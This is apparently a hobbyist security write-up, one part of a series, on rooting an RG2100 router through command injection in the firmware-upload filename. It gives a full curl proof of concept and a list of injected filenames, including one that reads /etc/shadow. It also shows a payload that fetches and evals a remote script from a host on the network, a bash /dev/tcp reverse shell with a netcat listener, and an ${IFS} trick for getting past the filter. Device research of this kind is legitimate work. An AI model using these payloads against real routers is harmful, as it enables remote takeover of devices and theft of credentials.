The first practical foothold on the RG2100 came from the web interface, not from ADB or a serial console.
The vulnerable endpoint
While reviewing JavaScript and CGI endpoints, the software update page stood out. The UI posts firmware uploads to:
/cgi-bin/file_send.cgi?command=fw_download
The public device software update page builds a multipart upload using the fw_download command. That made it an obvious place to test how the server handled the firmware filename.
The bug
The vulnerability is in the uploaded filename. A multipart filename containing shell command substitution is not treated as inert text. Somewhere in the upload or download handling path, a shell interprets it. A filename like this is therefore dangerous:
x$(logger RG2100_RCE_$(id)).bin
To prove execution safely, I uploaded a dummy file, not a real firmware image, and used logger so command output would appear in the device’s system logs.
Proof of concept
DEVICE=http://192.168.0.1
COOKIE='frkrouter=test'
PASSWORD='<ADMIN_PASSWORD>'
printf 'not-a-real-fw\n' > /tmp/rg2100-fw-test.bin
curl -sS -b "$COOKIE" \
-H 'Content-Type: application/json; charset=UTF-8' \
--data "{\"command\":\"log_in\",\"params\":{\"password\":\"$PASSWORD\"}}" \
"$DEVICE/cgi-bin/login.cgi" >/dev/null
curl -sS -b "$COOKIE" \
-F 'fw_file=@/tmp/rg2100-fw-test.bin;filename=x$(logger RG2100_RCE_$(id)).bin' \
"$DEVICE/cgi-bin/file_send.cgi?command=fw_download" >/dev/null
Then pull the system logs through the normal web log endpoint:
curl -sS -b "$COOKIE" \
-H 'Content-Type: application/json' \
--data '{"command":"show_logs"}' \
"$DEVICE/cgi-bin/settings.device-system_logs.cgi"
The result confirmed command execution, but as the web user:
uid=33 gid=33(www-data) groups=33(www-data)
Evidence in the cache directory
A later filesystem dump preserved a trail of probing in the cache directory. Uploaded filenames included:
x$(logger ... $(id)).bin
x$(logger ... $(uname -a)).bin
w$(logger WH_bash_$(which bash)).bin
w$(logger WH_curl_$(which curl)).bin
w$(logger WH_nc_$(which nc)).bin
shadow$(logger SHADOW_$(head -1 $(printf \057)etc$(printf \057)shadow)).bin
That confirmed the filename itself was the injection point.
Getting command output
The upload endpoint is not a command-output API, so I used two output methods:
logger– run a command, then read device logs through the web UI.curlcallback – have the device POST command output or a tar stream back to a local HTTP server on the host.
For longer output, a small local HTTP server served a shell script and accepted a callback:
Trigger filename payload: x$(eval $(curl -s 192.168.0.174:8001)).bin
The served script ran on the device and POSTed the result back to the host. This is how I captured larger state snapshots and, eventually, a readable root filesystem tarball.
Reverse shell
Once filename injection was reliable, getting an interactive shell was straightforward.
On the host, listen for a connection:
nc -l 4451
Serve a small payload from another port:
bash${IFS}-c${IFS}'bash -i >& /dev/tcp/192.168.0.174/4451 0>&1'
Trigger it through the filename:
x$(eval $(curl -s 192.168.0.174:8000)).bin
The ${IFS} trick avoids literal spaces in the payload and helps it survive the upload parser. A reverse shell is a much more comfortable way to explore the box than firing one-shot commands into logger.
At this point the shell was still the web context, not a root login shell. That was enough to enumerate the filesystem, test available tools, inspect permissions, and work out a path to ADB.
Continue to Part 3: Root ADB and Backups.